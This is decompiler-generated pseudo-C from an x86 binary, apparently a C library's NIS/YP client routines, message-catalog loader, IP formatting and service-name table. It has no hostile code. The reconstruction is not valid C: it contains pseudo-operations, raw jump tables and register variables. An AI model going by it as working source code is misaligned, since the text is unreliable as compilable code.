	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffd4 = 0;
    if(A8 == 0 || *A8 == 0 || Ac == 0 || *Ac == 0 || A10 == 0 || A14 == 0 || *A10 == 0) {
        eax = 1;
    } else {
        *A20 = 0;
        *A18 = 0;
        *A24 = 0;
        *A1c = 0;
        do {
            if(L0805CE84(A8, & Vffffffd8) != 0) {
                goto L0805d898;
            }
            Vffffffcc = *L08069030;
            Vffffffd0 = 0;
            Vffffffdc = A8;
            Vffffffe0 = Ac;
            Vffffffe4 = A10;
            Vffffffe8 = A14;
            (save)20;
            ebx = & Vffffffec;
            (save)ebx;
            L0806626C();
            ecx = *(Vffffffd8 + 288);
            eax = *(ecx + 4);
            (save)Vffffffd0;
            (save)Vffffffcc;
            (save)ebx;
            (save)0x80665dc;
            (save) & Vffffffdc;
            (save)0x8066514;
            (save)5;
            (save)ecx;
            ebx = *( *eax)();
            esp = esp + 40;
            if(ebx == 0) {
                goto L0805d950;
            }
            (save)"yp_next: clnt_call";
            (save) *(Vffffffd8 + 288);
            L08063894();
            edx = Vffffffd8;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vffffffd4;
            Vffffffd4 = Vffffffd4 + 1;
        } while(*L08069034 > edx);
        goto L0805d944;
L0805d898:
        eax = 3;
        goto L0805da06;
L0805d944:
        eax = 2;
        goto L0805da06;
L0805d950:
        ebx = L0805DFE0(Vffffffec);
        if(ebx == 0) {
            esi = A1c;
            *esi = Vfffffff4;
            eax = L0805BD74( *esi + 2);
            *A18 = eax;
            L08056480(Vfffffff0, eax, *A1c);
            esi = A1c;
            *( *esi + *A18) = 10;
            ecx = *esi;
            *( *A18 + ecx + 1) = 0;
            esi = A24;
            *esi = Vfffffffc;
            eax = L0805BD74( *esi + 2);
            *A20 = eax;
            L08056480(Vfffffff8, eax, *A24);
            esi = A24;
            *( *esi + *A20) = 10;
            ecx = *esi;
            *( *A20 + ecx + 1) = 0;
        }
        (save) & Vffffffec;
        (save)0x80665dc;
        L08064E74();
        L0805D2F4(Vffffffd8);
        eax = ebx;
    }
L0805da06:
    esp = ebp - 64;
}

/*	Procedure: 0x0805DA10 - 0x0805DB52
 *	Argument size: 12
 *	Local size: 44
 *	Save regs size: 12
 */

L0805DA10(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff2;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    if(ebx == 0 || *ebx == 0 || Ac == 0 || *Ac == 0) {
        eax = 1;
    } else {
        if(L0805CE84(ebx, & Vffffffec) != 0) {
            eax = 3;
        } else {
            Vffffffd4 = *L08069030;
            Vffffffd8 = 0;
            Vffffffe8 = -1;
            ecx = Vffffffec;
            Vfffffff0 = *(ecx + 264);
            Vfffffff4 = *(ecx + 268);
            Vfffffff8 = *(ecx + 272);
            Vfffffffc = *(ecx + 276);
            Vfffffff2 = 0;
            esi = L08063B04( & Vfffffff0, 100004, 2, & Vffffffe8, 0, 0);
            if(esi == 0) {
                (save)"clnttcp_create failed\n";
                L080625DC();
                eax = 9;
            } else {
                Vffffffe0 = ebx;
                Vffffffe4 = Ac;
                *L0807EB90 = *A10;
                *L0807EB8C = *(A10 + 4);
                ecx = *(esi + 4);
                ebx = & Vffffffdc;
                *( *ecx)(esi, 8, 0x8066564, & Vffffffe0, 0x80668ac, ebx, Vffffffd4, Vffffffd8);
                (save)esi;
                *( *( *(esi + 4) + 16))();
                (save)ebx;
                (save)0x80668ac;
                L08064E74();
                (save)Vffffffec;
                L0805D2F4();
                esp = esp + 16;
                eax = Vffffffdc == 0 ? 0 : L0805DFE0(Vffffffdc);
            }
        }
    }
    esp = ebp - 56;
}

/*	Procedure: 0x0805DB53 - 0x0805DC6E
 *	Argument size: 12
 *	Local size: 28
 *	Save regs size: 12
 */

L0805DB53(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffe8 = 0;
    if(A8 == 0 || *A8 == 0 || Ac == 0 || *Ac == 0) {
        eax = 1;
    } else {
        do {
            if(L0805CE84(A8, & Vfffffffc) != 0) {
                goto L0805dba0;
            }
            esi = *L08069030;
            edi = 0;
            Vffffffec = A8;
            Vfffffff0 = Ac;
            (save)8;
            ebx = & Vfffffff4;
            (save)ebx;
            L0806626C();
            edx = *(Vfffffffc + 288);
            Vffffffe4 = edx;
            (save)edi;
            (save)esi;
            (save)ebx;
            (save)0x8066664;
            (save) & Vffffffec;
            (save)0x8066564;
            (save)10;
            (save)Vffffffe4;
            esp = esp + 40;
            if(*( *( *(Vffffffe4 + 4)))() == 0) {
                goto L0805dc02;
            }
            (save)"yp_order: clnt_call";
            (save) *(Vfffffffc + 288);
            L08063894();
            edx = Vfffffffc;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vffffffe8;
            Vffffffe8 = Vffffffe8 + 1;
        } while(*L08069034 > edx);
        goto L0805dc60;
L0805dba0:
        eax = 3;
        goto L0805dc65;
L0805dc02:
        *A10 = Vfffffff8;
        (save)ebx;
        (save)0x8066664;
        L08064E74();
        (save)Vfffffffc;
        L0805D2F4();
        (save)Vfffffff4;
        eax = L0805DFE0();
        goto L0805dc65;
L0805dc60:
        eax = 2;
    }
L0805dc65:
    esp = ebp - 40;
}

/*	Procedure: 0x0805DC6F - 0x0805DDA5
 *	Argument size: 12
 *	Local size: 28
 *	Save regs size: 12
 */

L0805DC6F(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffe8 = 0;
    if(A8 == 0 || *A8 == 0 || Ac == 0 || *Ac == 0) {
        eax = 1;
    } else {
        do {
            if(L0805CE84(A8, & Vfffffffc) != 0) {
                goto L0805dcbc;
            }
            esi = *L08069030;
            edi = 0;
            Vffffffec = A8;
            Vfffffff0 = Ac;
            (save)8;
            ebx = & Vfffffff4;
            (save)ebx;
            L0806626C();
            edx = *(Vfffffffc + 288);
            Vffffffe4 = edx;
            (save)edi;
            (save)esi;
            (save)ebx;
            (save)0x8066628;
            (save) & Vffffffec;
            (save)0x8066564;
            (save)9;
            (save)Vffffffe4;
            esp = esp + 40;
            if(*( *( *(Vffffffe4 + 4)))() == 0) {
                goto L0805dd60;
            }
            (save)"yp_master: clnt_call";
            (save) *(Vfffffffc + 288);
            L08063894();
            edx = Vfffffffc;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vffffffe8;
            Vffffffe8 = Vffffffe8 + 1;
        } while(*L08069034 > edx);
        goto L0805dd56;
L0805dcbc:
        eax = 3;
        goto L0805dd9c;
L0805dd56:
        eax = 2;
        goto L0805dd9c;
L0805dd60:
        ebx = L0805DFE0(Vfffffff4);
        if(ebx == 0) {
            *A10 = L08056664(Vfffffff8);
        }
        (save) & Vfffffff4;
        (save)0x8066628;
        L08064E74();
        L0805D2F4(Vfffffffc);
        eax = ebx;
    }
L0805dd9c:
    esp = ebp - 40;
}

/*	Procedure: 0x0805DDA6 - 0x0805DE9A
 *	Argument size: 8
 *	Local size: 20
 *	Save regs size: 12
 */

L0805DDA6(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffff0 = 0;
    if(A8 == 0 || *A8 == 0) {
        eax = 1;
    } else {
        do {
            if(L0805CE84(A8, & Vfffffffc) != 0) {
                goto L0805dde4;
            }
            esi = *L08069030;
            edi = 0;
            (save)8;
            ebx = & Vfffffff4;
            (save)ebx;
            L0806626C();
            edx = *(Vfffffffc + 288);
            Vffffffec = *(edx + 4);
            (save)edi;
            (save)esi;
            (save)ebx;
            (save)0x8066754;
            (save)A8;
            (save)0x8066464;
            (save)11;
            (save)edx;
            esp = esp + 40;
            if(*( *Vffffffec)() == 0) {
                goto L0805de3a;
            }
            (save)"yp_maplist: clnt_call";
            (save) *(Vfffffffc + 288);
            L08063894();
            edx = Vfffffffc;
            *(edx + 296) = -1;
            (save)edx;
            L0805D2F4();
            esp = esp + 12;
            edx = Vfffffff0;
            Vfffffff0 = Vfffffff0 + 1;
        } while(*L08069034 > edx);
        goto L0805de8c;
L0805dde4:
        eax = 3;
        goto L0805de91;
L0805de3a:
        *Ac = Vfffffff8;
        (save)Vfffffffc;
        L0805D2F4();
        (save)Vfffffff4;
        eax = L0805DFE0();
        goto L0805de91;
L0805de8c:
        eax = 2;
    }
L0805de91:
    esp = ebp - 32;
}

/*	Procedure: 0x0805DE9B - 0x0805DFDC
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805DE9B(A8)
/* unknown */ void  A8;
{



    if(A8 <= 16) {
        goto *(A8 * 4 + 0x805deb4)[L0805def8, L0805df04, L0805df10, L0805df1c, L0805df28, L0805df34, L0805df40, L0805df4c, L0805df58, L0805df64, L0805df70, L0805df7c, L0805df88, L0805df94, L0805dfa0, L0805dfac, L0805dfb8, ]goto ( *(A8 * 4 + 0x805deb4));
        return("Success");
        esp = ebp;
        return("Request arguments bad");
        esp = ebp;
        return("RPC failure");
        esp = ebp;
        return("Can't bind to server which serves this domain");
        esp = ebp;
        return("No such map in server's domain");
        esp = ebp;
        return("No such key in map");
        esp = ebp;
        return("YP server error");
        esp = ebp;
        return("Local resource allocation failure");
        esp = ebp;
        return("No more records in map database");
        esp = ebp;
        return("Can't communicate with portmapper");
        esp = ebp;
        return("Can't communicate with ypbind");
        esp = ebp;
        return("Can't communicate with ypserv");
        esp = ebp;
        return("Local domain name not set");
        esp = ebp;
        return("Server data base is bad");
        esp = ebp;
        return("YP server version mismatch - server can't supply service.");
        esp = ebp;
        return("Access violation");
        esp = ebp;
        return("Database is busy");
    }
    sprintf(0x807e308, "YP unknown error %d\n", A8);
    return(0x807e308);
}

/*	Procedure: 0x0805DFDD - 0x0805DFDF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805DFDD()
{



}

/*	Procedure: 0x0805DFE0 - 0x0805E0A4
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805DFE0(A8)
/* unknown */ void  A8;
{



    eax = A8 + 8;
    if(eax <= 10) {
        goto *(eax * 4 + 0x805dffc)[L0805e090, L0805e084, L0805e06c, L0805e078, L0805e06c, L0805e060, L0805e054, L0805e048, L0805e030, L0805e028, L0805e03c, ]goto ( *(eax * 4 + 0x805dffc));
        return(0);
        esp = ebp;
        return(10);
        esp = ebp;
        return(8);
        esp = ebp;
        return(4);
        esp = ebp;
        return(12);
        esp = ebp;
        return(5);
        esp = ebp;
        return(6);
        esp = ebp;
        return(13);
        esp = ebp;
        return(1);
        esp = ebp;
        return(14);
    }
    esp = ebp;
    return(6);
}

/*	Procedure: 0x0805E0A5 - 0x0805E10E
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 12
 */

L0805E0A5(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    if(*L0807E358 == 0) {
        if(L0805D5F8( & Vfffffffc) != 0) {
            goto L0805e0fb;
        }
        esi = 0x807e358;
        edi = "(none)";
        ecx = 7;
        asm("cld");
        asm("repe cmpsb");
        == ? L0805e0fb : ;
    }
    if(A8 != 0) {
        *A8 = 0x807e358;
    }
    if(L0805D328(0x807e358) != 0) {
L0805e0fb:
        eax = 0;
    } else {
        eax = 1;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805E10F - 0x0805E10F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E10F()
{



}

/*	Procedure: 0x0805E110 - 0x0805E3FB
 *	Argument size: 8
 *	Local size: 1112
 *	Save regs size: 12
 */

L0805E110(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffba8;
	/* unknown */ void  Vfffffbac;
	/* unknown */ void  Vfffffbb0;
	/* unknown */ void  Vfffffbb4;
	/* unknown */ void  Vfffffbb8;
	/* unknown */ void  Vfffffbbc;
	/* unknown */ void  Vfffffbc0;
	/* unknown */ void  Vfffffc00;



    Vfffffbbc = 0;
    Vfffffbb8 = 0;
    if(A8 != 0 && *A8 != 0) {
        ecx = A8;
        if(*ecx != 47) {
            goto L0805e178;
        }
        Vfffffbbc = ecx;
        if(L08065D50(1, Vfffffbbc, & Vfffffbc0) == 0) {
            goto L0805e3d6;
        }
    }
L0805e16e:
    eax = -1;
    goto L0805e3ef;
L0805e178:
    eax = L08062D4C(5, 0);
    Vfffffbb4 = eax;
    if(Vfffffbb4 == 0) {
        Vfffffbb4 = "C";
    }
    esi = L08055668("NLSPATH");
    if(esi == 0) {
        esi = "/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/locale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/locale/%L/%N.cat";
    }
    if(*L08078F98 != 0) {
        al = 0;
        edi = esi;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        edx = ecx;
        edi = *L08078F98;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = L0805BD74( !ecx - edx);
        Vfffffbb8 = eax;
        if(Vfffffbb8 == 0) {
            goto L0805e16e;
        }
        (save)esi;
        L08056640(Vfffffbb8);
        edi = Vfffffbb8;
        al = 0;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        edx = !ecx;
        Vfffffba8 = edx;
        if(*(Vfffffbb8 + Vfffffba8 - 2) != 58 && *( *L08078F98) != 58) {
            (save)":";
            L080577C0(Vfffffbb8);
        }
        (save) *L08078F98;
        L080577C0(Vfffffbb8);
        esi = Vfffffbb8;
    }
    edi = esi;
    al = 0;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    edx = !ecx;
    Vfffffba8 = edx;
    ebx = edx - 1;
    eax = L0805BD74(edx + 1);
    Vfffffbb0 = eax;
    Vfffffbac = eax;
    if(Vfffffbac == 0) {
        goto L0805e16e;
L0805e2a4:
        Vfffffbbc = ebx;
    } else {
        (save)esi;
        L08056640(Vfffffbac);
        eax = Vfffffbac;
        *(ebx + eax) = 58;
        *(eax + ebx + 1) = 0;
        esi = Vfffffbac;
        if(*eax != 0) {
            do {
                ecx = Vfffffbac;
                if(*ecx == 58) {
                    *ecx = 0;
                    ebx = & Vfffffc00;
                    do {
                        if(*esi == 37) {
                            if(*(esi + 1) == 76) {
                                goto L0805e30b;
                            }
                            if(*(esi + 1) == 78) {
                                goto L0805e32a;
                            }
                        }
                        *ebx = *esi;
                        ebx = ebx + 1;
                        goto L0805e35d;
L0805e32a:
                        esi = esi + 1;
                        (save)A8;
                        L08056640(ebx);
                        edi = A8;
                        goto L0805e338;
L0805e30b:
                        esi = esi + 1;
                        (save)Vfffffbb4;
                        L08056640(ebx);
                        edi = Vfffffbb4;
L0805e338:
                        al = 0;
                        asm("cld");
                        ecx = -1;
                        asm("repne scasb");
                        edx = !ecx;
                        Vfffffba8 = edx;
                        ebx = ebx + Vfffffba8 - 1;
L0805e35d:
                        esi = esi + 1;
                    } while(*esi != 0);
                    *ebx = 0;
                    ebx = & Vfffffc00;
                    if(L08065D50(1, ebx, & Vfffffbc0) == 0) {
                        goto L0805e2a4;
                    }
                    esi = Vfffffbac + 1;
                }
                Vfffffbac = Vfffffbac + 1;
            } while(*Vfffffbac != 0);
        }
    }
    L0805C290(Vfffffbb0);
    if(Vfffffbb8 != 0) {
        L0805C290(Vfffffbb8);
    }
    if(Vfffffbbc == 0) {
        goto L0805e16e;
    }
L0805e3d6:
    eax = L0805E640(Vfffffbbc, Ac, & Vfffffbc0);
    edx = eax;
L0805e3ef:
    esp = ebp + -1124;
}

/*	Procedure: 0x0805E3FC - 0x0805E4CB
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L0805E3FC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    if(A8 != -1 && A8 != 0 && Ac > 0) {
        edi = 0;
        eax = Ac - 1;
        if(*(A8 + 12) <= eax) {
            goto L0805e434;
        }
        ecx = eax;
        esi = Ac;
    } else {
L0805e42c:
        eax = 0;
        goto L0805e4c2;
L0805e434:
        ecx = ( *(A8 + 12) - edi >> 31) + ecx >> 1;
    }
    while(1) {
        ebx = ecx + ecx * 2 + (ecx + ecx * 2) * 8 + ecx;
        ebx = ebx + *(A8 + 16);
        edx = Ac;
        if(*ebx == edx) {
            goto L0805e4b0;
        }
        >= ? L0805e480 : ;
        edi = ecx + 1;
        eax = edx - *ebx + ecx + 1;
        if(esi > eax) {
            esi = eax;
        }
        ebx = 1;
L0805e487:
        if(edi >= esi) {
            goto L0805e42c;
        }
        if(esi - edi != 1) {
            eax = esi - edi;
            eax = eax + (eax >> 31) >> 1;
            ebx = ebx * eax;
            ecx = ecx + eax;
            continue;
        }
        ecx = ecx + ebx;
    }
    esi = ecx;
    ebx = -1;
    goto L0805e487;
L0805e4b0:
    if(*(ebx + 24) != 0) {
        L0805E844(A8, ebx);
    }
    eax = ebx;
L0805e4c2:
}

/*	Procedure: 0x0805E4CC - 0x0805E581
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L0805E4CC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    if(A8 != 0) {
        if(*(A8 + 24) != 0 || Ac <= 0) {
            goto L0805e4fc;
        }
        edi = 0;
        eax = Ac - 1;
        if(*(A8 + 20) <= eax) {
            goto L0805e500;
        }
        ecx = eax;
        esi = Ac;
    } else {
L0805e4fc:
        eax = 0;
        goto L0805e578;
L0805e500:
        ecx = ( *(A8 + 20) - edi >> 31) + ecx >> 1;
    }
    while(1) {
        eax = ecx + ecx * 2 << 2;
        eax = eax + *(A8 + 8);
        edx = Ac;
        if(*eax == edx) {
            goto L0805e578;
        }
        >= ? L0805e548 : ;
        edi = ecx + 1;
        eax = edx - *eax + ecx + 1;
        if(esi > eax) {
            esi = eax;
        }
        ebx = 1;
L0805e54f:
        if(edi >= esi) {
            goto L0805e4fc;
        }
        if(esi - edi != 1) {
            eax = esi - edi;
            eax = eax + (eax >> 31) >> 1;
            ebx = ebx * eax;
            ecx = ecx + eax;
            continue;
        }
        ecx = ecx + ebx;
    }
    esi = ecx;
    ebx = -1;
    goto L0805e54f;
L0805e578:
}

/*	Procedure: 0x0805E582 - 0x0805E583
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E582()
{



}

/*	Procedure: 0x0805E584 - 0x0805E5B6
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 4
 */

L0805E584(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{



    eax = L0805E4CC(L0805E3FC(A8, Ac), A10);
    edx = A14;
    if(eax != 0) {
        edx = *(eax + 4);
    }
    return(edx);
}

/*	Procedure: 0x0805E5B7 - 0x0805E63D
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 12
 */

L0805E5B7(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    if(A8 == -1 || A8 == 0) {
        eax = -1;
    } else {
        if(*A8 != 1) {
            L08066154( *(A8 + 4), *(A8 + 8));
        }
        esi = 0;
        if(*(A8 + 12) > 0) {
            Vfffffffc = 0;
            do {
                ebx = Vfffffffc + *(A8 + 16);
                if(*(ebx + 24) == 0) {
                    L0805C290( *(ebx + 12));
                    L0805C290( *(ebx + 8));
                }
                Vfffffffc = Vfffffffc + 28;
                esi = esi + 1;
            } while(*(A8 + 12) > esi);
        }
        L0805C290( *(A8 + 16));
        L0805C290(A8);
        eax = 0;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0805E63E - 0x0805E63F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E63E()
{



}

/*	Procedure: 0x0805E640 - 0x0805E841
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

L0805E640(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    edi = A8;
    ebx = Ac;
    esi = L0805BD74(24);
    if(esi == 0) {
        eax = -1;
    } else {
        *esi = ebx;
        eax = L080572DC(edi, 0);
        *(esi + 4) = eax;
        if(*(esi + 4) < 0) {
            eax = 0;
        } else {
            eax = *(A10 + 20);
            *(esi + 8) = eax;
            ebx = L08065CEC(0, *(esi + 8), 1, 1, *(esi + 4), 0);
            if(ebx == -1) {
                close( *(esi + 4));
                eax = 0;
            } else {
                close( *(esi + 4));
                if(*(esi + 8) > 27) {
                    *(esi + 4) = ebx;
                    if(L08057B04(ebx, "*nazgul*", 8) == 0) {
                        eax = *(esi + 4);
                        if(*(eax + 8) != 1) {
                            (save)1;
                            (save) *(eax + 8);
                            (save)edi;
                            L0804F680(0x80787a4, "%s: %s is version %d, we need %d.\n", "Message Catalog System");
                            eax = 0;
                            goto L0805e838;
                        }
                        eax = *(esi + 4);
                        if(*(eax + 20) <= 0) {
                            (save) *(eax + 20);
                            (save)edi;
                            L0804F680(0x80787a4, "%s: %s has %d sets!\n", "Message Catalog System");
                            eax = 0;
                            goto L0805e838;
                        }
                        *(esi + 12) = *( *(esi + 4) + 20);
                        eax = *( *(esi + 4) + 20);
                        eax = L0805BD74(eax + eax + eax * 2 + (eax + eax * 2) * 8);
                        *(esi + 16) = eax;
                        if(*(esi + 16) == 0) {
L0805e76f:
                            L0804F680(0x80787a4, "%s: no more memory.\n", "Message Catalog System");
                            eax = -1;
                            goto L0805e838;
                        }
                        edx = *( *(esi + 4) + 24);
                        edi = 0;
                        if(*(esi + 12) <= 0) {
                            goto L0805e824;
                        }
                        Vfffffffc = 0;
                        do {
                            if(*(esi + 8) < edx) {
                                goto L0805e7f8;
                            }
                            ebx = Vfffffffc + *(esi + 16);
                            if(*(esi + 8) < edx + 28) {
                                goto L0805e7f8;
                            }
                            L08056480(edx + *(esi + 4), ebx, 28);
                            if(*(ebx + 24) == 0) {
                                if(*esi != 1) {
                                    *(ebx + 24) = -1;
                                    goto L0805e817;
                                }
                                eax = L0805E844(esi, ebx);
                                if(eax > 0) {
                                    goto L0805e817;
                                } else {
                                    goto L0805e7ef;
                                }
                            }
                            Vfffffffc = Vfffffffc + -28;
                            edi = edi - 1;
L0805e817:
                            edx = *(ebx + 4);
                            Vfffffffc = Vfffffffc + 28;
                            edi = edi + 1;
                        } while(*(esi + 12) > edi);
                        goto L0805e824;
L0805e7ef:
                        if(eax == -1) {
                            goto L0805e76f;
                        }
                    }
                }
L0805e7f8:
                L0804F680(0x80787a4, "%s: corrupt file.\n", "Message Catalog System");
                eax = 0;
                goto L0805e838;
L0805e824:
                if(*esi == 1) {
                    L08066154( *(esi + 4), *(esi + 8));
                }
                eax = esi;
            }
        }
    }
L0805e838:
    esp = ebp - 16;
}

/*	Procedure: 0x0805E842 - 0x0805E843
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E842()
{



}

/*	Procedure: 0x0805E844 - 0x0805E951
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 12
 */

L0805E844(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    A8 = *(Ac + 12);
    Vfffffffc = A8;
    if(*(A8 + 8) >= Vfffffffc) {
        eax = L0805BD74( *(Ac + 16));
        *(Ac + 12) = eax;
        if(*(Ac + 12) != 0) {
            if(*(A8 + 8) < Vfffffffc + *(Ac + 16)) {
                goto L0805e8dc;
            }
            A8 = Ac;
            L08056480(Vfffffffc + *(A8 + 4), *(A8 + 12), *(A8 + 16));
            A8 = *(Ac + 8);
            Vfffffffc = A8;
            if(*(A8 + 8) < Vfffffffc) {
                goto L0805e8dc;
            }
            eax = L0805BD74( *(Ac + 20) + *(Ac + 20) * 2 << 2);
            *(Ac + 8) = eax;
            if(*(Ac + 8) != 0) {
                goto L0805e8e0;
            }
        }
        eax = -1;
    } else {
L0805e8dc:
        eax = 0;
        goto L0805e948;
L0805e8e0:
        edi = 0;
        if(*(Ac + 20) > 0) {
            esi = 0;
            do {
                ebx = esi;
                ebx = ebx + *(Ac + 8);
                if(*(A8 + 8) < Vfffffffc + 12) {
                    goto L0805e8dc;
                }
                L08056480(Vfffffffc + *(A8 + 4) + esi, ebx, 12);
                if(*(ebx + 8) == 0) {
                    *(ebx + 4) = *(ebx + 4) + *(Ac + 12);
                } else {
                    esi = esi + -12;
                    edi = edi - 1;
                }
                esi = esi + 12;
                edi = edi + 1;
            } while(*(Ac + 20) > edi);
        }
        *(Ac + 24) = 0;
        eax = 1;
    }
L0805e948:
    esp = ebp - 16;
}

/*	Procedure: 0x0805E952 - 0x0805E953
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E952()
{



}

/*	Procedure: 0x0805E954 - 0x0805E980
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E954()
{



    if(*L08078F9C == 0) {
        (save)0x8069490;
        (save)5;
        L08062D4C();
        eax = L0805E110("libc", 0);
        *L08078F9C = eax;
    }
}

/*	Procedure: 0x0805E981 - 0x0805E983
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E981()
{



}

/*	Procedure: 0x0805E984 - 0x0805E9B4
 *	Argument size: 7
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E984(A8, A9, Aa, Ab)
/* unknown */ void  A8;
/* unknown */ void  A9;
/* unknown */ void  Aa;
/* unknown */ void  Ab;
{



    L08062888(0x807e39c, 18, "%d.%d.%d.%d", A8 & 255, A9 & 255, Aa & 255, Ab & 255);
    return(0x807e39c);
}

/*	Procedure: 0x0805E9B5 - 0x0805E9B7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E9B5()
{



}

/*	Procedure: 0x0805E9B8 - 0x0805EEA0
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805E9B8(A8)
/* unknown */ void  A8;
{



    eax = A8 - 5;
    if(eax <= 165) {
        goto *(eax * 4 + 0x805e9d4)[L0805ec6c, L0805ee88, L0805ec78, L0805ee88, L0805ec84, L0805ee88, L0805ec90, L0805ee88, L0805ec9c, L0805ee88, L0805eca8, L0805ee88, L0805ecb4, L0805ee88, L0805ecc0, L0805eccc, L0805ecd8, L0805ee88, L0805ece4, L0805ee88, L0805ecf0, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ee88, L0805ecfc, L0805ee88...]goto ( *(eax * 4 + 0x805e9d4));
        return("rje");
        esp = ebp;
        return("echo");
        esp = ebp;
        return("discard");
        esp = ebp;
        return("systat");
        esp = ebp;
        return("daytime");
        esp = ebp;
        return("netstat");
        esp = ebp;
        return("qotd");
        esp = ebp;
        return("chargen");
        esp = ebp;
        return("ftp-data");
        esp = ebp;
        return("ftp");
        esp = ebp;
        return("telnet");
        esp = ebp;
        return("smtp");
        esp = ebp;
        return("time");
        esp = ebp;
        return("rlp");
        esp = ebp;
        return("name");
        esp = ebp;
        return("whois");
        esp = ebp;
        return("domain");
        esp = ebp;
        return("apts");
        esp = ebp;
        return("apfs");
        esp = ebp;
        return("bootps");
        esp = ebp;
        return("bootpc");
        esp = ebp;
        return("tftp");
        esp = ebp;
        return("finger");
        esp = ebp;
        return("link");
        esp = ebp;
        return("supdup");
        esp = ebp;
        return("newacct");
